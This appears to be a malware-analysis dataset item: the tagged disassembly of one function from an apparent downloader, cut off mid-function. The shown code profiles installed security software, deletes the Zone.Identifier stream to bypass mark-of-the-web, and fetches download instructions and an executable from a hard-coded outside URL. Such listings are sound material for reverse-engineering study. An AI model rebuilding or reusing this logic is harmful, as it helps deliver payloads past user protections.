Function at 0x43bfd6
Capabilities:
Bypass mark of the web
Check for time delay via gettickcount
Contain obfuscated stackstrings
Delete file
Terminate process

Disassembly:
push 0x244
mov eax, 0x446037
call fcn.0041cefc
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 3
mov dword [ebp - 0x154], eax
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
push 0x43615c
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x12c], esp
push str.started
call fcn.004018a5
call fcn.00430ad8
add esp, 0x1c
push 0x467420
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 6
xor ebx, ebx
push ebx
call dword [sym.imp.ole32.dll_CoInitializeEx]
push ebx
push ebx
xor esi, esi
inc esi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_CreateEventW]
push ebx
push 0x100
mov dword [0x46741c], eax
call dword [sym.imp.KERNEL32.dll_SetProcessShutdownParameters]
call fcn.00430035
push ebx
lea eax, [ebp - 0x1bc]
push eax
push 0x467438
mov dword [ebp - 0x1bc], esi
mov dword [ebp - 0x1b8], ebx
mov dword [ebp - 0x1b4], ebx
mov dword [ebp - 0x1b0], ebx
call sub.gdiplus.dll_GdiplusStartup
mov edi, 0x44d238
push edi
lea esi, [ebp - 0x54]
call fcn.00401900
sub esp, 0x1c
mov dword [ebp - 4], ebx
mov eax, esp
mov ecx, esi
mov dword [ebp - 0x12c], esp
push ecx
push eax
call fcn.004412c7
pop ecx
pop ecx
lea eax, [ebp - 0x70]
push eax
call fcn.0043241e
add esp, 4
mov ecx, esp
mov byte [ebp - 4], 1
mov dword [ebp - 0x12c], esp
push eax
push 0x450248
push ecx
call fcn.00407337
add esp, 0xc
call fcn.00430ad8
add esp, 0x1c
push ebx
push 1
lea ecx, [ebp - 0x70]
call fcn.0040172c
or dword [ebp - 4], 0xffffffff
push ebx
push 1
call fcn.0040115a
push edi
lea esi, [ebp - 0x54]
call fcn.00401900
sub esp, 0x1c
mov dword [ebp - 4], 2
mov eax, esp
mov ecx, esi
mov dword [ebp - 0x12c], esp
push ecx
push eax
call fcn.00441288
pop ecx
pop ecx
lea eax, [ebp - 0x70]
push eax
call fcn.0043241e
add esp, 4
mov ecx, esp
mov byte [ebp - 4], 3
mov dword [ebp - 0x12c], esp
push eax
push str.antivirus
push ecx
call fcn.00407337
add esp, 0xc
call fcn.00430ad8
add esp, 0x1c
push ebx
push 1
lea ecx, [ebp - 0x70]
call fcn.0040172c
or dword [ebp - 4], 0xffffffff
push ebx
push 1
call fcn.0040115a
push edi
lea esi, [ebp - 0x54]
call fcn.00401900
sub esp, 0x1c
mov dword [ebp - 4], 4
mov eax, esp
mov ecx, esi
mov dword [ebp - 0x12c], esp
push ecx
push eax
call fcn.00441249
pop ecx
pop ecx
lea eax, [ebp - 0x70]
push eax
call fcn.0043241e
add esp, 4
mov ecx, esp
mov byte [ebp - 4], 5
mov dword [ebp - 0x12c], esp
push eax
push str.antispyware
push ecx
call fcn.00407337
add esp, 0xc
call fcn.00430ad8
add esp, 0x1c
push ebx
push 1
lea ecx, [ebp - 0x70]
call fcn.0040172c
or dword [ebp - 4], 0xffffffff
push ebx
push 1
call fcn.0040115a
push edi
lea esi, [ebp - 0x54]
call fcn.00401900
sub esp, 0x1c
mov dword [ebp - 4], 6
mov ecx, esi
mov eax, esp
mov dword [ebp - 0x12c], esp
push ecx
push eax
call fcn.0044120a
pop ecx
pop ecx
lea eax, [ebp - 0x70]
push eax
call fcn.0043241e
add esp, 4
mov ecx, esp
mov byte [ebp - 4], 7
mov dword [ebp - 0x12c], esp
push eax
push str.firewall
push ecx
call fcn.00407337
add esp, 0xc
call fcn.00430ad8
add esp, 0x1c
push ebx
push 1
lea ecx, [ebp - 0x70]
call fcn.0040172c
or dword [ebp - 4], 0xffffffff
push ebx
push 1
call fcn.0040115a
push edi
lea esi, [ebp - 0x54]
call fcn.00401900
sub esp, 0x1c
mov dword [ebp - 4], 8
mov eax, esp
mov ecx, esi
mov dword [ebp - 0x12c], esp
push ecx
push eax
call fcn.00440fd6
pop ecx
pop ecx
lea eax, [ebp - 0x70]
push eax
call fcn.0043241e
add esp, 4
mov ecx, esp
mov byte [ebp - 4], 9
mov dword [ebp - 0x12c], esp
push eax
push str.video
push ecx
call fcn.00407337
add esp, 0xc
call fcn.00430ad8
add esp, 0x1c
push ebx
push 1
lea ecx, [ebp - 0x70]
call fcn.0040172c
or dword [ebp - 4], 0xffffffff
push ebx
push 1
call fcn.0040115a
push edi
lea esi, [ebp - 0x54]
call fcn.00401900
sub esp, 0x1c
mov dword [ebp - 4], 0xa
mov eax, esp
mov ecx, esi
mov dword [ebp - 0x12c], esp
push ecx
push eax
call fcn.004411af
pop ecx
pop ecx
lea eax, [ebp - 0x70]
push eax
call fcn.0043241e
add esp, 4
mov ecx, esp
mov byte [ebp - 4], 0xb
mov dword [ebp - 0x12c], esp
push eax
push str.memory
push ecx
call fcn.00407337
add esp, 0xc
call fcn.00430ad8
add esp, 0x1c
push ebx
push 1
lea ecx, [ebp - 0x70]
call fcn.0040172c
or dword [ebp - 4], 0xffffffff
push ebx
push 1
call fcn.0040115a
push edi
lea esi, [ebp - 0x54]
call fcn.00401900
sub esp, 0x1c
mov dword [ebp - 4], 0xc
mov eax, esp
mov ecx, esi
mov dword [ebp - 0x12c], esp
push ecx
push eax
call fcn.00440d37
pop ecx
pop ecx
lea eax, [ebp - 0x70]
push eax
call fcn.0043241e
add esp, 4
mov ecx, esp
mov byte [ebp - 4], 0xd
mov dword [ebp - 0x12c], esp
push eax
push str.harddisk
push ecx
call fcn.00407337
add esp, 0xc
call fcn.00430ad8
add esp, 0x1c
push ebx
push 1
lea ecx, [ebp - 0x70]
call fcn.0040172c
or dword [ebp - 4], 0xffffffff
push ebx
push 1
call fcn.0040115a
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x12c], esp
test eax, eax
je 0x43c395
push str.admintrue
jmp 0x43c39a
push str.adminfalse
call fcn.004018a5
call fcn.00430ad8
lea eax, [ebp - 0x70]
add esp, 0x1c
push eax
call fcn.0043199c
mov dword [ebp - 4], 0xe
mov dword [esp], str.:Zone.Identifier
push eax
lea eax, [ebp - 0x54]
push eax
call fcn.00403075
add esp, 0xc
cmp dword [eax + 0x18], 8
jb 0x43c3d6
mov eax, dword [eax + 4]
jmp 0x43c3d9
add eax, 4
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push ebx
push 1
lea esi, [ebp - 0x54]
call fcn.0040115a
or dword [ebp - 4], 0xffffffff
push ebx
push 1
lea esi, [ebp - 0x70]
call fcn.0040115a
push 0xf4
call fcn.0041b5d4
pop ecx
mov dword [ebp - 0x12c], eax
push 0xf
pop esi
mov dword [ebp - 4], esi
cmp eax, ebx
je 0x43c42d
push 0x4e20
push 0x1388
push eax
call fcn.0043ec32
mov dword [ebp - 0x140], eax
jmp 0x43c433
mov dword [ebp - 0x140], ebx
or dword [ebp - 4], 0xffffffff
push str.965e49065f683f77
lea ecx, [ebp - 0x70]
call fcn.004018a5
push str.067c98449203f5d6
lea ecx, [ebp - 0x54]
mov dword [ebp - 4], 0x10
call fcn.004018a5
sub esp, 0x1c
mov byte [ebp - 4], 0x11
mov eax, esp
lea ecx, [ebp - 0x70]
mov dword [ebp - 0x12c], esp
push ecx
push eax
lea ecx, [ebp - 0x54]
call fcn.00433061
pop ecx
pop ecx
lea edi, [ebp - 0x128]
call fcn.0043e769
add esp, 0x1c
push ebx
push 1
lea ecx, [ebp - 0x54]
call fcn.0040172c
push ebx
push 1
lea ecx, [ebp - 0x70]
call fcn.0040172c
push ebx
lea ecx, [ebp - 0xec]
mov dword [ebp - 0xd4], esi
call fcn.004017f3
sub esp, 0x1c
mov byte [ebp - 4], 0x15
mov ecx, esp
mov dword [ebp - 0x12c], esp
push 0x45fbc8
call fcn.004018a5
lea edi, [ebp - 0x38]
call fcn.0043e769
add esp, 0x1c
push 0xffffffffffffffff
mov edi, 0x45ff94
push edi
xor ebx, ebx
mov byte [ebp - 4], 0x16
call fcn.004010d2
push ebx
push 1
lea esi, [ebp - 0x38]
mov byte [ebp - 4], 0x15
call fcn.0040115a
push str.rnd
lea eax, [ebp - 0x38]
push edi
push eax
call fcn.00403075
sub esp, 0x10
mov ecx, esp
mov byte [ebp - 4], 0x17
mov dword [ebp - 0x12c], esp
lea edx, [ebp - 0x128]
push edx
push eax
push ecx
call fcn.00403116
mov edi, dword [ebp - 0x140]
add esp, 0xc
call fcn.0043e8a3
mov byte [ebp - 4], 0x15
push ebx
push 1
lea esi, [ebp - 0x38]
call fcn.0040115a
lea eax, [ebp - 0x70]
push eax
mov ecx, edi
call fcn.0043fc33
mov byte [ebp - 4], 0x18
cmp dword [ebp - 0x5c], ebx
jne 0x43c642
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x12c], esp
push str.http:__forces.my_pix.ru_get_json_stb4did1326146354ext_partner_idfile_id21617538
call fcn.004018a5
lea edi, [ebp - 0x38]
call fcn.0043e769
add esp, 0x1c
push 0xffffffffffffffff
mov edi, 0x45ffb0
push edi
mov byte [ebp - 4], 0x19
call fcn.004010d2
push ebx
push 1
lea esi, [ebp - 0x38]
mov byte [ebp - 4], 0x18
call fcn.0040115a
push str.rnd
lea eax, [ebp - 0x38]
push edi
push eax
call fcn.00403075
sub esp, 0x10
mov ecx, esp
mov byte [ebp - 4], 0x1a
mov dword [ebp - 0x12c], esp
lea edx, [ebp - 0x128]
push edx
push eax
push ecx
call fcn.00403116
mov edi, dword [ebp - 0x140]
add esp, 0xc
call fcn.0043e8a3
push ebx
push 1
lea esi, [ebp - 0x38]
mov byte [ebp - 4], 0x18
call fcn.0040115a
lea eax, [ebp - 0x38]
push eax
mov ecx, edi
call fcn.0043fc33
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [ebp - 0x70]
mov byte [ebp - 4], 0x1b
call fcn.00401514
push ebx
push 1
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 0x18
call fcn.0040172c
cmp dword [ebp - 0x5c], ebx
jne 0x43c63b
lea ecx, [ebp - 0x178]
mov eax, edi
call fcn.0043e71c
sub esp, 0x1c
mov byte [ebp - 4], 0x1c
mov ecx, esp
mov dword [ebp - 0x12c], esp
push eax
push str.cant_get_info:
push ecx
call fcn.004031bc
add esp, 0xc
call fcn.00435d19
mov eax, 0x45ffb0
jmp 0x43c647
mov eax, 0x45ff94
push 0xffffffffffffffff
push 0x45ffcc
xor ebx, ebx
call fcn.004010d2
sub esp, 0x1c
mov esi, esp
mov dword [ebp - 0x12c], esp
push str.ETag
call fcn.00401900
push dword [ebp - 0x140]
lea ecx, [ebp - 0x54]
call fcn.0043ee75
xor edi, edi
mov byte [ebp - 4], 0x1d
cmp dword [ebp - 0x40], edi
je 0x43c7ab
push str.doM0b9lsEfwTznkEcOLYrFjZ5rhX2bhk
sub esp, 0x1c
lea eax, [ebp - 0x54]
mov esi, esp
mov dword [ebp - 0x12c], esp
push eax
call fcn.004010aa
lea ecx, [ebp - 0x178]
call fcn.0043ed02
add esp, 0x1c
push eax
lea eax, [ebp - 0x1a0]
push eax
mov byte [ebp - 4], 0x1e
call fcn.00407382
sub esp, 0x10
mov byte [ebp - 4], 0x1f
mov ecx, eax
mov edi, esp
mov dword [ebp - 0x12c], esp
call fcn.004327d4
lea edi, [ebp - 0x38]
call fcn.0043e769
add esp, 0x1c
push 0xffffffffffffffff
mov edi, 0x45ffe8
push edi
mov byte [ebp - 4], 0x20
call fcn.004010d2
push ebx
inc ebx
push ebx
lea esi, [ebp - 0x38]
call fcn.0040115a
push 0
push ebx
lea ecx, [ebp - 0x1a0]
call fcn.0040172c
push 0
push ebx
lea ecx, [ebp - 0x178]
mov byte [ebp - 4], 0x1d
call fcn.0040172c
push 0x450354
sub esp, 0x1c
mov esi, esp
mov dword [ebp - 0x12c], esp
push edi
call fcn.004010aa
lea ecx, [ebp - 0x38]
call fcn.0043ed02
add esp, 0x1c
push eax
lea eax, [ebp - 0x1a0]
push 0x450358
push eax
mov byte [ebp - 4], 0x21
call fcn.00407337
add esp, 0xc
push eax
lea eax, [ebp - 0x178]
push eax
mov byte [ebp - 4], 0x22
call fcn.00407382
add esp, 0xc
push 0xffffffffffffffff
xor esi, esi
push esi
push eax
lea ecx, [ebp - 0xec]
mov byte [ebp - 4], 0x23
call fcn.00401514
push esi
push ebx
lea ecx, [ebp - 0x178]
call fcn.0040172c
push esi
push ebx
lea ecx, [ebp - 0x1a0]
call fcn.0040172c
push esi
push ebx
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 0x1d
call fcn.0040172c
xor edi, edi
jmp 0x43c7ae
xor ebx, ebx
inc ebx
lea eax, [ebp - 0x1a0]
push eax
call fcn.00433283
pop ecx
push eax
lea eax, [ebp - 0x178]
push str.guid
push eax
mov byte [ebp - 4], 0x24
call fcn.00407337
add esp, 0xc
push 0xffffffffffffffff
push edi
lea esi, [ebp - 0xec]
mov byte [ebp - 4], 0x25
call fcn.00407b61
push edi
push ebx
lea ecx, [ebp - 0x178]
call fcn.0040172c
push edi
push ebx
lea ecx, [ebp - 0x1a0]
mov byte [ebp - 4], 0x1d
call fcn.0040172c
lea eax, [ebp - 0x250]
push eax
call fcn.004081c4
sub esp, 0x1c
mov byte [ebp - 4], 0x26
lea eax, [ebp - 0x70]
mov ecx, esp
mov dword [ebp - 0x12c], esp
push eax
call fcn.00401424
lea ecx, [ebp - 0x178]
call fcn.0043fcc7
add esp, 0x1c
mov byte [ebp - 4], 0x27
cmp dword [eax + 0x18], 0x10
jb 0x43c845
mov eax, dword [eax + 4]
jmp 0x43c848
add eax, 4
push eax
lea eax, [ebp - 0x248]
push eax
call fcn.00409507
pop ecx
pop ecx
push edi
push ebx
lea ecx, [ebp - 0x178]
mov byte [ebp - 4], 0x26
call fcn.0040172c
lea eax, [ebp - 0x90]
push eax
call fcn.004096ff
lea eax, [ebp - 0x90]
push eax
lea eax, [ebp - 0x250]
push eax
mov byte [ebp - 4], 0x29
call fcn.00409896
pop ecx
pop ecx
push 0x44d238
lea esi, [ebp - 0x38]
mov dword [ebp - 4], 0x28
call fcn.00401900
xor eax, eax
mov byte [ebp - 4], 0x2c
lea edi, [ebp - 0x12c]
stosb byte es:[edi], al
push dword [ebp - 0x12c]
lea eax, [ebp - 0x1ac]
push 0x450390
call fcn.004098da
mov eax, esi
push eax
lea eax, [ebp - 0x1ac]
push eax
lea eax, [ebp - 0x178]
push eax
lea ecx, [ebp - 0x90]
mov byte [ebp - 4], 0x2d
call fcn.00409900
push 0xffffffffffffffff
push 0x45ff08
xor ebx, ebx
mov byte [ebp - 4], 0x2e
call fcn.004010d2
push ebx
push 1
lea esi, [ebp - 0x178]
call fcn.0040115a
push ebx
push 1
lea esi, [ebp - 0x1ac]
call fcn.0040115a
push ebx
push 1
lea esi, [ebp - 0x38]
mov byte [ebp - 4], 0x28
call fcn.0040115a
cmp dword [0x45ff1c], ebx
jne 0x43c943
sub esp, 0x1c
mov esi, esp
mov dword [ebp - 0x12c], esp
push str.empty_download_url
call fcn.00401900
jmp 0x43c636
xor eax, eax
lea edi, [ebp - 0x12c]
stosb byte es:[edi], al
push dword [ebp - 0x12c]
lea eax, [ebp - 0x184]
push str.size
mov dword [ebp - 0x138], ebx
mov dword [ebp - 0x134], ebx
call fcn.004098da
lea eax, [ebp - 0x184]
push eax
lea esi, [ebp - 0x30]
lea ecx, [ebp - 0x90]
mov byte [ebp - 4], 0x2f
call fcn.0040a81a
cmp byte [eax], bl
je 0x43c990
add eax, 8
jmp 0x43c996
lea eax, [ebp - 0x138]
mov ecx, dword [eax]
mov eax, dword [eax + 4]
push ebx
push 1
lea esi, [ebp - 0x184]
mov dword [0x467388], ecx
mov dword [0x46738c], eax
mov byte [ebp - 4], 0x28
call fcn.0040115a
push str.file.exe
lea esi, [ebp - 0x38]
call fcn.00401900
xor eax, eax
mov byte [ebp - 4], 0x30
lea edi, [ebp - 0x12c]
stosb byte es:[edi], al
push dword [ebp - 0x12c]
lea eax, [ebp - 0x1ac]
push 0x44d408
call fcn.004098da
mov eax, esi
push eax
lea eax, [ebp - 0x1ac]
push eax
lea eax, [ebp - 0x178]
push eax
lea ecx, [ebp - 0x90]
mov byte [ebp - 4], 0x31
call fcn.00409900
push 0xffffffffffffffff
push 0x45ff24
xor ebx, ebx
mov byte [ebp - 4], 0x32
call fcn.004010d2
push ebx
push 1
lea esi, [ebp - 0x178]
call fcn.0040115a
push ebx
push 1
lea esi, [ebp - 0x1ac]
call fcn.0040115a
push ebx
push 1
lea esi, [ebp - 0x38]
mov byte [ebp - 4], 0x28
call fcn.0040115a
xor eax, eax
lea edi, [ebp - 0x12c]
stosb byte es:[edi], al
push dword [ebp - 0x12c]
lea eax, [ebp - 0x184]
push str.fakefile
mov byte [ebp - 0x12d], bl
call fcn.004098da
lea eax, [ebp - 0x184]
push eax
lea esi, [ebp - 0x13a]
lea ecx, [ebp - 0x90]
mov byte [ebp - 4], 0x33
call fcn.0040a861
cmp byte [eax], bl
je 0x43ca8d
inc eax
jmp 0x43ca93
lea eax, [ebp - 0x12d]
mov al, byte [eax]
push ebx
push 1
lea esi, [ebp - 0x184]
mov byte [0x467500], al
mov byte [ebp - 4], 0x28
call fcn.0040115a
cmp byte [0x467500], bl
je 0x43cad6
cmp dword [0x46738c], ebx
jg 0x43cad6
jl 0x43cac6
cmp dword [0x467388], ebx
ja 0x43cad6
mov dword [0x467388], 0x47b760
mov dword [0x46738c], ebx
call fcn.00409947
xor eax, eax
lea edi, [ebp - 0x12c]
stosb byte es:[edi], al
push dword [ebp - 0x12c]
lea eax, [ebp - 0x1ac]
push 0x4503f8
call fcn.004098da
lea edx, [ebp - 0x1ac]
lea ecx, [ebp - 0x90]
mov byte [ebp - 4], 0x34
call fcn.004097c8
sub esp, 0x20
mov ecx, esp
mov dword [ebp - 0x12c], esp
push eax
call fcn.004096b4
lea ecx, [ebp - 0x178]
call fcn.00433aac
add esp, 0x20
push 0xffffffffffffffff
push ebx
lea esi, [ebp - 0xec]
mov byte [ebp - 4], 0x35
call fcn.00407b61
xor edi, edi
push ebx
inc edi
push edi
lea ecx, [ebp - 0x178]
call fcn.0040172c
push ebx
push edi
lea esi, [ebp - 0x1ac]
call fcn.0040115a
lea eax, [ebp - 0x90]
push eax
mov byte [ebp - 4], 0x26
call fcn.00409742
lea eax, [ebp - 0x250]
mov byte [ebp - 4], 0x1d
call fcn.00407ca0
push ebx
push edi
lea esi, [ebp - 0x54]
call fcn.0040115a
push ebx
push edi
lea ecx, [ebp - 0x70]
mov byte [ebp - 4], 0x15
call fcn.0040172c
sub esp, 0x1c
mov esi, esp
mov dword [ebp - 0x12c], esp
push 0x45ffcc
call fcn.004010aa
lea ecx, [ebp - 0x178]
call fcn.0043ed02
mov ecx, esp
mov byte [ebp - 4], 0x36
mov dword [ebp - 0x12c], esp
push eax
push str.url
push ecx
call fcn.00407337
add esp, 0xc
call fcn.00430ad8
add esp, 0x1c
push ebx
push edi
lea ecx, [ebp - 0x178]
mov byte [ebp - 4], 0x15
call fcn.0040172c
sub esp, 0x1c
mov esi, esp
mov dword [ebp - 0x12c], esp
push 0x45ffe8
call fcn.004010aa
lea ecx, [ebp - 0x178]
call fcn.0043ed02
mov ecx, esp
mov byte [ebp - 4], 0x37
mov dword [ebp - 0x12c], esp
push eax
push 0x450410
push ecx
call fcn.00407337
add esp, 0xc
call fcn.00430ad8
add esp, 0x1c
push ebx
push edi
lea ecx, [ebp - 0x178]
mov byte [ebp - 4], 0x15
call fcn.0040172c
push ebx
push 0x43563b
call fcn.00440807
mov dword [ebp - 0x150], eax
lea eax, [ebp - 0x138]
push eax
mov dword [ebp - 0x138], 8
mov dword [ebp - 0x134], 0xc000
call fcn.0044032f
pop ecx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [ebp - 0x154]
mov dword [ebp - 0x12c], eax
lea eax, [ebp - 0x10c]
push eax
call fcn.004096ff
lea eax, [ebp - 0x12c]
push eax
lea ecx, [ebp - 0x70]
mov byte [ebp - 4], 0x38
call fcn.004030bb
pop ecx
mov esi, eax
mov byte [ebp - 4], 0x39
mov edi, dword [ebp - 0x140]
lea ecx, [ebp - 0x1a0]
mov eax, edi
call fcn.0043e750
push str.delay
push eax
lea eax, [ebp - 0x178]
push eax
mov byte [ebp - 4], 0x3a
call fcn.00403075
sub esp, 0x10
mov ecx, esp
mov byte [ebp - 4], 0x3b
mov dword [ebp - 0x12c], esp
push esi
push eax
push ecx
call fcn.00403116
add esp, 0xc
push edi
call fcn.0043e86d
push ebx
push 1
lea esi, [ebp - 0x178]
call fcn.0040115a
push ebx
push 1
lea esi, [ebp - 0x1a0]
call fcn.0040115a
push ebx
push 1
lea esi, [ebp - 0x70]
mov byte [ebp - 4], 0x38
call fcn.0040115a
sub esp, 0x1c
mov dword [ebp - 0x12c], esp
mov esi, esp
sub esp, 0x1c
lea eax, [ebp - 0xec]
mov ecx, esp
mov dword [ebp - 0x12c], esp
push eax
call fcn.00401424
mov ecx, esi
call fcn.0043fd9f
add esp, 0x1c
lea eax, [ebp - 0x54]
push eax
mov ecx, edi
call fcn.0043fa38
mov byte [ebp - 4], 0x3c
cmp dword [ebp - 0x40], ebx
jne 0x43cd81
lea ecx, [ebp - 0x178]
mov eax, edi
call fcn.0043e71c
sub esp, 0x1c
mov byte [ebp - 4], 0x3d
mov ecx, esp
mov dword [ebp - 0x12c], esp
push eax
push str.cant_get_form_data:
jmp 0x43c62d
lea eax, [ebp - 0x250]
push eax
call fcn.004081c4
sub esp, 0x1c
mov byte [ebp - 4], 0x3e
lea eax, [ebp - 0x54]
mov ecx, esp
mov dword [ebp - 0x12c], esp
push eax
call fcn.00401424
lea ecx, [ebp - 0x178]
call fcn.0043fcc7
add esp, 0x1c
mov byte [ebp - 4], 0x3f
cmp dword [eax + 0x18], 0x10
jb 0x43cdc2
mov eax, dword [eax + 4]
jmp 0x43cdc5
add eax, 4
push eax
lea eax, [ebp - 0x248]
push eax
call fcn.00409507
pop ecx
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x178]
call fcn.0040172c
lea eax, [ebp - 0x10c]
push eax
lea eax, [ebp - 0x250]
push eax
mov byte [ebp - 4], 0x40
call fcn.00409896
pop ecx
pop ecx
mov dword [ebp - 4], 0x3e
call fcn.004407ad
push dword [0x46741c]
call dword [sym.imp.KERNEL32.dll_ResetEvent]
lea eax, [ebp - 0x10c]
push eax
call fcn.0043913d
pop ecx
lea eax, [ebp - 0x250]
mov byte [ebp - 4], 0x3c
call fcn.00407ca0
push ebx
push 1
lea ecx, [ebp - 0x54]
call fcn.0040172c
push ebx
lea ecx, [ebp - 0x38]
mov dword [ebp - 0x20], 0xf
call fcn.004017f3
mov byte [ebp - 4], 0x43
mov eax, dword [0x467538]
sub eax, dword [0x467534]
push 0x24
cdq
pop ecx
idiv ecx
mov dword [ebp - 0x13c], ebx
test eax, eax
jbe 0x43cf7c
push dword [ebp - 0x13c]
mov edi, 0x467528
mov esi, edi
mov dword [ebp - 0x140], ebx
call fcn.004080b0
mov ecx, eax
mov eax, dword [ecx + 0x14]
sub eax, dword [ecx + 0x10]
add ecx, 4
cdq
mov ecx, 0x104
idiv ecx
test eax, eax
jbe 0x43cf59
push 0x450484
push dword [ebp - 0x140]
mov esi, edi
push dword [ebp - 0x13c]
call fcn.004080b0
mov esi, eax
add esi, 4
call fcn.00407fd1
sub esp, 0x1c
add eax, 0x70
mov esi, esp
mov dword [ebp - 0x12c], esp
push eax
call fcn.004010aa
lea ecx, [ebp - 0x1a0]
call fcn.0043ed02
add esp, 0x1c
push eax
lea eax, [ebp - 0x178]
push eax
mov byte [ebp - 4], 0x44
call fcn.00407382
add esp, 0xc
push 0xffffffffffffffff
push ebx
lea esi, [ebp - 0x38]
mov byte [ebp - 4], 0x45
call fcn.00407b61
push ebx
push 1
lea ecx, [ebp - 0x178]
call fcn.0040172c
push ebx
push 1
lea ecx, [ebp - 0x1a0]
mov byte [ebp - 4], 0x43
call fcn.0040172c
push dword [ebp - 0x13c]
inc dword [ebp - 0x140]
mov esi, edi
call fcn.004080b0
mov ecx, eax
mov eax, dword [ecx + 0x14]
sub eax, dword [ecx + 0x10]
add ecx, 4
cdq
mov ecx, 0x104
idiv ecx
cmp dword [ebp - 0x140], eax
jb 0x43cea0
mov eax, dword [0x467538]
sub eax, dword [0x467534]
push 0x24
cdq
pop ecx
idiv ecx
inc dword [ebp - 0x13c]
cmp dword [ebp - 0x13c], eax
jb 0x43ce6d
mov ecx, dword [ebp - 0x24]
cmp ecx, ebx
je 0x43cfa6
lea eax, [ecx - 1]
cmp eax, ecx
ja 0x43cf97
push 0xffffffffffffffff
push eax
lea ecx, [ebp - 0x38]
call fcn.004014a5
jmp 0x43cfa6
push ebx
mov ebx, eax
sub ebx, ecx
lea edi, [ebp - 0x38]
call fcn.0040724d
xor ebx, ebx
sub esp, 0x1c
mov eax, esp
mov dword [ebp - 0x12c], esp
lea ecx, [ebp - 0x38]
push ecx
push str.products
push eax
call fcn.00407337
add esp, 0xc
call fcn.00430ad8
add esp, 0x1c
push ebx
push 1
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 0x38
call fcn.0040172c
mov eax, dword [0x4674cc]
push 1
call fcn.004300d7
call fcn.00430196
push dword [0x467504]
push 0x435d5f
call fcn.00440807
cmp dword [0x45fdd4], 0xa
mov dword [ebp - 0x12c], eax
jne 0x43d05b
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x158], esp
push str.closed
call fcn.004018a5
call fcn.00430ad8
add esp, 0x1c
push 1
sub esp, 0x1c
mov esi, esp
mov dword [ebp - 0x158], esp
push str._close_install_
call fcn.00401900
call fcn.004358ff
add esp, 0x20
push 0xffffffffffffffff
push dword [ebp - 0x12c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov esi, 0x467420
push esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push dword [ebp - 0x150]
call fcn.004407da
push esi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push dword [ebp - 0x150]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x400
call fcn.0041a320
mov dword [ebp - 0x154], eax
xor eax, eax
pop ecx
mov dword [ebp - 0x13c], ebx
mov dword [ebp - 0x9c], 7
mov dword [ebp - 0xa0], ebx
mov word [ebp - 0xb0], ax
mov byte [ebp - 4], 0x46
lea esi, [ebp - 0x24]
mov edi, 0x467528
mov dword [ebp - 0x150], ebx
mov byte [ebp - 0x12d], 1
call fcn.00408094
mov ecx, dword [eax]
mov eax, dword [eax + 4]
lea esi, [ebp - 0x14c]
mov dword [ebp - 0x15c], ecx
mov dword [ebp - 0x158], eax
call fcn.0040b0de
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0x138], ecx
mov dword [ebp - 0x134], eax
cmp ecx, ebx
je 0x43d10c
cmp ecx, dword [ebp - 0x15c]
je 0x43d111
call fcn.0041bb1c
mov eax, dword [ebp - 0x134]
cmp eax, dword [ebp - 0x158]
je 0x43d18c
lea esi, [ebp - 0x138]
call fcn.004082a2
mov edi, eax
lea esi, [ebp - 0x94]
call fcn.00407cc6
cmp byte [ebp - 0x78], bl
je 0x43d145
cmp dword [ebp - 0x74], 0x1f40
jl 0x43d16f
lea esi, [ebp - 0x90]
call fcn.00408618
push dword [ebp - 0x90]
call fcn.0041b531
pop ecx
lea esi, [ebp - 0x138]
call fcn.004082ca
mov ecx, dword [ebp - 0x138]
jmp 0x43d100
lea esi, [ebp - 0x90]
mov byte [ebp - 0x12d], bl
call fcn.00408618
push dword [ebp - 0x90]
call fcn.0041b531
pop ecx
lea eax, [ebp - 0x158]
lea ebx, [ebp - 0x138]
mov dword [ebp - 0x158], 0x467528
call fcn.004099b0
mov eax, ebx
mov dword [ebp - 0x148], eax
lea eax, [ebp - 0x158]
lea ebx, [ebp - 0x144]
call fcn.004099d2
mov esi, dword [ebp - 0x148]
lea edi, [ebp - 0x144]
call fcn.004099f4
test al, al
jne 0x43d376
call fcn.004082a2
cmp byte [eax + 0x1c], 0
mov ecx, 0x104
jne 0x43d25d
lea edi, [eax + 4]
mov eax, dword [edi + 0x10]
sub eax, dword [edi + 0xc]
xor ebx, ebx
cdq
idiv ecx
test eax, eax
jbe 0x43d366
push 0x4504bc
push ebx
mov esi, edi
call fcn.00407fd1
add eax, 0x70
push eax
lea eax, [ebp - 0x178]
push eax
call fcn.00403075
add esp, 0xc
push 0xffffffffffffffff
push 0
lea esi, [ebp - 0xb4]
mov byte [ebp - 4], 0x47
call fcn.004023f0
push 0
push 1
lea esi, [ebp - 0x178]
mov byte [ebp - 4], 0x46
call fcn.0040115a
mov eax, dword [edi + 0x10]
sub eax, dword [edi + 0xc]
mov ecx, 0x104
cdq
idiv ecx
inc ebx
cmp ebx, eax
jb 0x43d1ff
jmp 0x43d366
cmp byte [ebp - 0x12d], 0
je 0x43d2da
lea edi, [eax + 4]
mov eax, dword [edi + 0x10]
sub eax, dword [edi + 0xc]
xor ebx, ebx
cdq
idiv ecx
test eax, eax
jbe 0x43d366
push 0x4504bc
push ebx
mov esi, edi
call fcn.00407fd1
add eax, 0x70
push eax
lea eax, [ebp - 0x178]
push eax
call fcn.00403075
add esp, 0xc
push 0xffffffffffffffff
push 0
lea esi, [ebp - 0xb4]
mov byte [ebp - 4], 0x48
call fcn.004023f0
push 0
push 1
lea esi, [ebp - 0x178]
mov byte [ebp - 4], 0x46
